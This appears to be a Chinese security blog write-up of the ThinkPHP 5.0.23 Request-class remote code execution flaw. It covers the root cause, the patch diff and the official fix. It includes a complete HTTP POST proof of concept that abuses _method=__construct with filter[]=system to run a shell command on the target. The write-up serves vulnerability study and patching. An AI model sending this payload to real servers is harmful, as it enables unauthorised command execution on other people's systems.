thinkphp 5.0.23-rce (核心类 Request rce)


thinkphp 5.0.23-rce (核心类 Request rce)

漏洞成因

获取method的方法中没有正确处理方法名,导致可以调用request类任意方法并构造利用链,导致rce

影响版本

5.0版本(<5.0.24)

image-20211020203941293

简单分析复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@@ -522,8 +522,11 @@ public function method($method = false)
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
}
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
1
2
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);

var_method常量定义在application/config.php中,var_method对应的值是_method

POST方式传入的_method=xxx后,会将xxx转换为大写赋值给$this->method,然后会调用 $this->{$this->method}($_POST); $this->XXX($_POST);说明在这里调用的函数_$method可控,传入的数据也可控;

也就意味着可以调用Request类的任意方法,而当调用构造方法_construct()时,就可以覆盖Request类的任意成员变量

1
2
3
4
5
6
7
8
9
10
11
@@ -792,8 +795,8 @@ public function request($name = '', $default = null, $filter = '')
$this->request = $_REQUEST;
}
if (is_array($name)) {
$this->param = [];
$this->mergeParam = false;
$this->param = [];
$this->mergeParam = false;
return $this->request = array_merge($this->request, $name);
}
return $this->input($this->request, $name, $default, $filter);

详见改进Request类

poc

1
2
3
4
5
6
7
8
9
10
11
POST /index.php?s=captcha HTTP/1.1
Host: ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

image-20211025111506856

image-20211025111703949

修复

官方的修复方法是:在ThinkPHP5.0.24中,增加了$this->method的判断,不允许再自由调用类函数。并且不要开启debug模式,以免遭受攻击

参考文章

ThinkPHP V5 漏洞复现

ThinkPHP5 5.0.23 远程代码执行漏洞

漏洞研究|ThinkPHP request函数远程代码执行

ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

ThinkPHP RCE漏洞分析合集


文章作者: l0odrd
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l0odrd !
  目录